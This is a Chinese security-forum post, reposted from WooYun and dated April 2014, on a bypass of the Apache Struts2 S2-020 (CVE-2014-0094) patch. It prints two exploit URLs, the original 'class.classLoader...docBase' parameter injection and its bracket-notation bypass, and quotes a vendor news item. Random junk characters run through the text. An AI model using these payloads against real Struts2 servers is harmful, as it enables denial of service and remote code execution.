之前S2-020漏洞利用方式见drops：Struts2 Tomcat class.classLoader.resources.dirContext.docBase赋值造成的DoS及远程代码执行利用! 5 O1 n6 A- z9 M+ j. Y# p
9 L' O! [1 Z& e# m7 D& i3 a9 u暂时不清楚到底是谁发出来的补丁绕过。之前 @Nebula 发的Tomcat：- http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=//192.168.x.x/test8 t; n( j) i4 q& z' _
- f( z, T; V; v8 P( R
[color=rgb(51, 102, 153) !important]复制代码3 n, f- k+ j4 A8 K
* ~9 m* ?8 u' P$ K8 `3 X0 ?
绕过方式是：- http://localhost:8080/Struts2/test.action?class["classLoader"]["resources"]["dirContext"]["docBase"]=xxxxx: Z2 r, ]: |% O1 p" r
6 v0 g+ w' O8 ]$ r0 m5 s; C[color=rgb(51, 102, 153) !important]复制代码
6 I- S: r' B1 M( I% ?* [4 \' N/ S$ m$ R/ n3 z1 ~
顺便说下// netbios协议似乎在仅是windows，linux下貌似不能直接使用这样的协议。之前有发过：[百度安全中心博客-neobyte]Struts2 S2-020在Tomcat 8下的命令执行分析利用切换日志到web目录，有点可行性。
$ H7 {6 _6 K: v加速乐发了新闻： ; i+ D% S4 b1 E4 j
http://jiasule.baidu.com/news/5357a1eebf9efd27e6ecbade/
4 g u8 _6 N& X1 G4月23日消息，近日安全研究人员指出Apache Struts2在漏洞公告S2-020里，在处理修复CVE-2014-0094的漏洞修补方案存在漏洞，导致补丁被完全绕过。目前官方在GitHub上对该问题做出了修正。该问题被曝光后，百度加速乐已率先升级了防御规则，目前百度加速乐可独家防御该漏洞。 4 H1 [) p! s& [' I8 P: q( C/ X
- Q% d1 o4 F$ s7 A. ]$ k3 ^ O
据了解Struts2已不是第一次出现重大安全事故，去年9月Struts2曝出漏洞，国家多家重要政府网站受到影响，其中不乏部委级网站。此次再次曝出漏洞显现出互联网安全问题的严重性。 s+ t: z, z$ \. }3 r, K
; N C. r1 ]: I |9 N) K% c& I
# T. q: |$ E. E/ P# F
( `8 n' c1 k0 |) \转载自乌云
F# A) o, K' b& u原文链接:http://zone.wooyun.org/content/11876
[) y d9 q9 g |
发表于 2014-4-27 19:10:10
收藏
支持
反对